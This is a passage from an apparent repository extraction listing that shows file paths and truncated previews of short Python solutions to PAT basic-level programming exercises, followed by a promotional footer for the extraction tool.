"preview": "def judge(s):\r\n P,A,T=map(s.count,\"PAT\")\r\n if P!=1 or T!=1 or P+A+T!=len(s):\r\n return False\r\n try:\r\n "
},
{
"path": "docs/doc/PAT/pat-b-practise/1004.py",
"chars": 195,
"preview": "N=int(input())\r\ndata={}\r\nfor i in range(N):\r\n s=input().split()\r\n data[int(s[2])]=s[0]+\" \"+s[1]\r\nprint(max(data.it"
},
{
"path": "docs/doc/PAT/pat-b-practise/1005.py",
"chars": 578,
"preview": "input()\r\ncache={1:[1]}\r\ndef calc(n):\r\n global cache\r\n result=[n]\r\n if n in cache:\r\n return cache[n]\r\n "
},
{
"path": "docs/doc/PAT/pat-b-practise/1006.py",
"chars": 259,
"preview": "theinput=list(map(int,input()[::-1]))\r\nres=\"\"\r\nfor i in range(len(theinput)):\r\n if i==0:\r\n res=\"\".join([str(i)"
},
{
"path": "docs/doc/PAT/pat-b-practise/1007.py",
"chars": 449,
"preview": "primes={2:True,3:True}\r\ntheinput=int(input())\r\nfor i in range(2,theinput//2+1):\r\n j=2\r\n if primes.get(i,True)==Fal"
},
{
"path": "docs/doc/PAT/pat-b-practise/1008.py",
"chars": 116,
"preview": "N,M=map(int,input().split())\r\nM=M%N\r\ntheinput=input().split()\r\nres=theinput[-M:]+theinput[:-M]\r\nprint(\" \".join(res))"
},
{
"path": "docs/doc/PAT/pat-b-practise/1009.py",
"chars": 38,
"preview": "print(\" \".join(input().split()[::-1]))"
},
{
"path": "docs/doc/PAT/pat-b-practise/1010.py",
"chars": 442,
"preview": "theinput=list(map(int,input().split()))\r\nxishu=[theinput[i] for i in range(len(theinput)) if i%2==0]\r\nzhishu=[theinput[i"
},
{
"path": "docs/doc/PAT/pat-b-practise/1011.py",
"chars": 190,
"preview": "T=int(input())\r\nfor i in range(T):\r\n A,B,C=map(int,input().split())\r\n if A+B>C:\r\n res=\"true\"\r\n else:\r\n "
},
{
"path": "docs/doc/PAT/pat-b-practise/1012.py",
"chars": 641,
"preview": "theinput=list(map(int,input().split()))\r\ndel(theinput[0])\r\nT={}\r\nA={}\r\nfor i in range(1,6):\r\n T[i]=[j for j in theinp"
},
{
"path": "docs/doc/PAT/pat-b-practise/1013.py",
"chars": 944,
"preview": "M,N=map(int,input().split())\r\n\"\"\"\r\ndef mymethod(N):\r\n primes={2:True,3:True}\r\n for i in range(2,int(sqrt(N))+1):\r\n"
},
{
"path": "docs/doc/PAT/pat-b-practise/1014.py",
"chars": 711,
"preview": "import string\r\ns={}\r\nl={}\r\nfor i in range(4):\r\n s[i]=input()\r\n l[i]=len(s[i])\r\nflag=1\r\nA1={\"A\":\"MON\",\"B\":\"TUE\",\"C\""
},
{
"path": "docs/doc/PAT/pat-b-practise/1023.py",
"chars": 233,
"preview": "theinput=list(map(int,input().split()))\r\ns=\"\"\r\nres=\"\"\r\nfor i in range(10):\r\n s+=theinput[i]*str(i)\r\nfor i in range(le"
}
]
// ... and 33 more files (download for full content)
About this extraction
This page contains the full source code of the zjuchenyuan/notebook GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 233 files (4.8 MB), approximately 1.3M tokens, and a symbol index with 666 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.